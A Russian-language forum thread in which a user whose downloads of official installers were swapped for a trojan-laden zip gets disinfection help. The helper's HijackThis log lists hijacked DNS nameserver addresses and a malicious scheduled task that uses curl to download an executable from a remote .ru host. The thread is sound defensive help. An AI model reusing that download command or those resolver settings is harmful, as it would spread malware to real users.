Скачанные с офф сайтов exe заменяются на zip с вирусом

[afk24]

При загрузке, к примеру, драйверов с nvidia.com, также установщика discord, идёт перенаправление на страницу с таким оформлением (скриншот приложил) и скачивается zip архив, содержащий вирус с пакетом программ от Mail.ru. После заражения от файла с Nvidia, кое как подчистил систему от софта Mail.ru, но не уверен, что до конца

На данный момент Dr.Web не распознает в архиве с Nvidia вирус. В архиве с discordapp.com он видит Trojan.Load.Money.2995

[Info_bot]

Уважаемый(ая) afk24, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[afk24]

Google-drive тоже подменён

[Vvvyg]

Запустите HijackThis, расположенный в папке Autologger и пофиксите (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):

O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 178.132.6.57
O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 193.238.153.54
O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 46.101.28.31
O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 52.56.51.39
O17 - HKLM\System\CCS\Services\Tcpip\..\{88b75cd9-bb8e-4ab9-bc13-f742de095c5f}: NameServer = 82.202.226.203
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 178.132.6.57
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 193.238.153.54
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 46.101.28.31
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 52.56.51.39
O17 - HKLM\System\CCS\Services\Tcpip\..\{ba07e454-014e-45e5-8f68-219bd748756f}: NameServer = 82.202.226.203
O21-32 - ShellServiceObjectDelayLoad: (no name) - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - (no file) (file missing)
O22 - Task: curl - C:\Users\AfK\AppData\Roaming\curl\curl_7_54.exe -f -L http://amtomil.ru/f.exe -o C:\Users\AfK\AppData\Roaming\curl\curl.exe
O22 - Task: setupsk - C:\Users\AfK\AppData\Roaming\setupsk\python\pythonw.exe "C:\Users\AfK\AppData\Roaming\setupsk\ml.py" --APPNAME="setupsk" (file missing)
O22 - Task: setupsk_upd - C:\Users\AfK\AppData\Roaming\SETUPS~1\python\pythonw.exe "C:\Users\AfK\AppData\Roaming\SETUPS~1\ml.py" --APPNAME="setupsk_upd" (file missing)
O23 - Service S2: SvcHost Service Host - C:\Windows\Microsoft\svchost.exe (file missing)

Очистите кэш и cookies-файлы браузеров и кэш DNS.
Сообщите, что с проблемой.

Настойчиво рекомендую не использовать два антивируса одновременно, чревато сбоями и конфликтами, да и толку нет, как видите.

[afk24]

Спасибо огромное, проблема решена !
2 антивируса - это мои безуспешные попытки создать хоть на чем то загрузочную флэшку для проверки диска :с Сейчас оставил только Dr.Web